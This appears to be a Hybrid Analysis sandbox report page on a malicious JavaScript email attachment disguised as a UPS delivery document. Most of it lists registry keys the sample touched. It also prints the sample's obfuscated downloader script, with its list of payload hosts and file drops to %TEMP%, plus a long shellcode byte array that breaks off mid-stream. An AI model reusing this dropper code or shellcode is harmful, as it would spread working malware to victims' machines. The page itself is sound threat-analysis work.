26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 3c:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T43a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample d167368409c3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d167368409c3…. Threat score 100/100. 17/27 AV engines flagged this file. 11 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e"],"about":{"@type":"SoftwareApplication","name":"UPS-Delivery-005156577.doc.js","applicationCategory":["script","javascript"],"identifier":"d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":17,"total":27},"behavioralIndicators":{"malicious":11,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T9b1,"wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE"; Key: "PATH"; Value: "00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\1FEZR4BVMPCF1QTS49VJSDHTNP6ZPVMJBP2.EXE") "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\1FEZR4BVMPCF1QTS49VJSDHTNP6ZPVMJBP2.EXE") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\1FEZR4BVMPCF1QTS49VJSDHTNP6ZPVMJBP.EXE") "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\1FEZR4BVMPCF1QTS49VJSDHTNP6ZPVMJBP.EXE") "WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "PATH"; Value: "00000000010000005C0000002500530079007300740065006D0052006F006F00740025005C00730079007300740065006D00330032005C00570069006E0064006F007700730050006F007700650072005300680065006C006C005C00760031002E0030005C000000") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE"; Key: "PATH"; Value: "00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WIRESHARK.EXE") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WIRESHARK") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WIRESHARK") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FIDDLER.EXE")28:T7c1,"regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")29:T723,"regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "regsvr32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")2a:T1315,"wscript.exe" called "Msxml2.XMLHTTP.CreateObject" ... "wscript.exe" called "Msxml2.XMLHTTP.open" ... "wscript.exe" called "Msxml2.XMLHTTP.responseText" with result: "v4c88928666328346a2eefb5dbdc3667dr goxe='v4c88928666328346a2eefb5dbdc3667dr ld=0';goxe+='; v4c88928666328346a2eefb5dbdc3667dr c';goxe+='s=Strin';goxe+='g.from';goxe+='Ch4c88928666328346a2eefb5dbdc3667drCo';goxe+='de(92';goxe+='); v4c88928666328346a2eefb5dbdc3667d';goxe+='r cq=Stri';goxe+='ng.fromCh';goxe+='4c88928666328346a2eefb5dbdc3667drCode(34)';goxe+='; v4c88928666328346a2eefb5dbdc3667dr ll=';goxe+='['gold';goxe+='wingclub';goxe+='.ru','';goxe+='4c88928666328346a2eefb5dbdc3667dmis-spb';goxe+='.ru','';goxe+='elit4c88928666328346a2eefb5dbdc3667d';goxe+='5.md',';goxe+=''modx.mb4c88928666328346a2eefb5dbdc3667d';goxe+='let.ru';goxe+='','www.g';goxe+='loszp.pl']';goxe+='; v4c88928666328346a2eefb5dbdc3667dr ';goxe+='ws=WSc';goxe+='ript.Cre4c88928666328346a2eefb5dbdc3667d';goxe+='teObjec';goxe+='t('WScript';goxe+='.Shell';goxe+=''); v4c88928666328346a2eefb5dbdc3667d';goxe+='r fn=ws.E';goxe+='xp4c88928666328346a2eefb5dbdc3667dndEnv';goxe+='ironme';goxe+='ntString';goxe+='s('%TEMP%';goxe+='')+cs+'';goxe+='1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP'; v4c88928666328346a2eefb5dbdc3667d';goxe+='r pd=ws.E';goxe+='xp4c88928666328346a2eefb5dbdc3667dndE';goxe+='nviro';goxe+='nmentStrin';goxe+='gs('%TEM';goxe+='P%')+cs+'';goxe+='php5.';goxe+='dll'; v4c88928666328346a2eefb5dbdc3667dr ';goxe+='xo=WS';goxe+='cript.';goxe+='Cre4c88928666328346a2eefb5dbdc3667dteOb';goxe+='ject(';goxe+=''MSXM';goxe+='L2.XMLHTTP';goxe+=''); v4c88928666328346a2eefb5dbdc3667dr';goxe+=' x4c88928666328346a2eefb5dbdc3667d=WS';goxe+='cript.Cr';goxe+='e4c88928666328346a2eefb5dbdc3667dteObje';goxe+='ct('ADOD';goxe+='B.Str';goxe+='e4c88928666328346a2eefb5dbdc3667dm')';goxe+='; v4c88928666328346a2eefb5dbdc3667dr';goxe+=' fo=WS';goxe+='cript.Cre4c88928666328346a2eefb5dbdc3667d';goxe+='teObject';goxe+='('Scr';goxe+='ipting.Fil';goxe+='eSyste';goxe+='mObject');';goxe+=' if (!fo.F';goxe+='ileExists(';goxe+='fn+'.do';goxe+='c')) {';goxe+=' v4c88928666328346a2eefb5dbdc3667dr f';goxe+='p=fo.Cre4c88928666328346a2eefb5dbdc3667d';goxe+='teTextFile';goxe+='(fn+'.do';goxe+='c',tr';goxe+='ue); ';goxe+='for(v4c88928666328346a2eefb5dbdc3667dr i=';goxe+='0; i<14';goxe+='444; i';goxe+='++) { fp.W';goxe+='rite(S';goxe+='tring.fro';goxe+='mCh4c88928666328346a2eefb5dbdc3667drCo';goxe+='de(M4c88928666328346a2eefb5dbdc3667dth';goxe+='.floor';goxe+='(M4c88928666328346a2eefb5dbdc3667dth.r';goxe+='4c88928666328346a2eefb5dbdc3667dndom';goxe+='()*64+20)';goxe+=')); }; ';goxe+='fp.Close';goxe+='(); try{';goxe+='ws.Run(fn';goxe+='+'.doc',1,';goxe+='0);}c4c88928666328346a2eefb5dbdc3667dtch(';goxe+='er){}';goxe+='; for (v';goxe+='4c88928666328346a2eefb5dbdc3667dr n=2;';goxe+=' n<=4;';goxe+=' n++) { ';goxe+='for(v4c88928666328346a2eefb5dbdc3667dr';goxe+=' i=ld;i0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 <#faw#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 <#bwf#>0xDB 0x89 0x5D 0xFC 0x5F <#nl#>0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC <#nac#>0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#fwa#>0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#cmo#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB <#ox#>0x01 <#km#>0x00 0x00 0x40 0x89 0x85 0x3C 0xFF <#wkc#>0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 <#pj#>0x20 0x33 <#ycx#>0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 <#kq#>0x04 0x24 0x13 <#wbn#>0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F <#ehi#>0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B <#xju#>0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#mh#>0x04 0x83 0xC4 0x08 0x66 0x8B <#hcd#>0x00 <#cvn#>0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC <#djs#>0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 <#kmn#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 <#odm#>0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B <#ja#>0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#zo#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B <#xo#>0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 <#sg#>0xE0 0x02 0x03 0xD0 <#esv#>0x8B 0x02 0x03 0x45 <#lyl#>0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 <#ak#>0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#ba#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 <#ar#>0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 <#fk#>0x04 0x81 <#csw#>0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 <#gyb#>0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 0x73 <#ujs#>0x75 <#bfi#>0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 <#qa#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#wxj#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 <#mwn#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 <#of#>0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 <#li#>0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 <#ak#>0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A <#bo#>0xFF <#bm#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF <#dqn#>0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 <#csv#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B <#bdd#>0x45 0xD4 0x66 0x81 0x38 0x4D <#kwc#>0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 <#thb#>0x04 0x24 <#ky#>0x13 0x54 0x24 0x04 0x83 <#sr#>0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#hdn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F <#zsx#>0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 <#yep#>0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 <#zo#>0x24 0x13 0x54 0x24 0x04 <#erw#>0x83 0xC4 0x08 0x8B 0x08 0x03 <#uoq#>0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 <#qdp#>0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 <#mj#>0x41 0x75 0x3D <#lsp#>0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 <#dyq#>0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC <#kgn#>0x8B 0x52 <#qcu#>0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#zo#>0x8B 0x02 0x03 0xC3 0x89 0x45 <#tqe#>0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 0x48 0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 <#sa#>0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 <#fb#>0xD2 0x52 0x50 0x8B <#iu#>0xC6 0x03 0xC0 0x99 0x03 0x04 <#wp#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#wb#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 <#zo#>0x89 0x85 <#hz#>0x7C 0xFF 0xFF 0xFF <#cv#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bww#>0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF <#be#>0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#bnk#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#lwe#>0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#cy#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#tpl#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF <#pan#>0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B <#tv#>0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 <#rzv#>0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF <#zu#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF <#pv#>0xFF 0x50 0x68 0x01 <#kx#>0x00 0x00 0x80 <#nxw#>0xFF 0x55 <#mu#>0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#sz#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF <#zhb#>0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#tf#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#yx#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#sa#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF <#sz#>0xFF 0xFF 0x00 0x74 <#qsf#>0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#thl#>0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#pdl#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF <#zr#>0x55 0xAC 0x85 0xC0 0x75 0x02 <#hgl#>0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B <#co#>0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF <#hfa#>0x33 0xF6 0x8D 0x8D 0x00 <#yx#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 <#uhz#>0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 <#qdx#>0x15 <#xr#>0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D <#iil#>0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 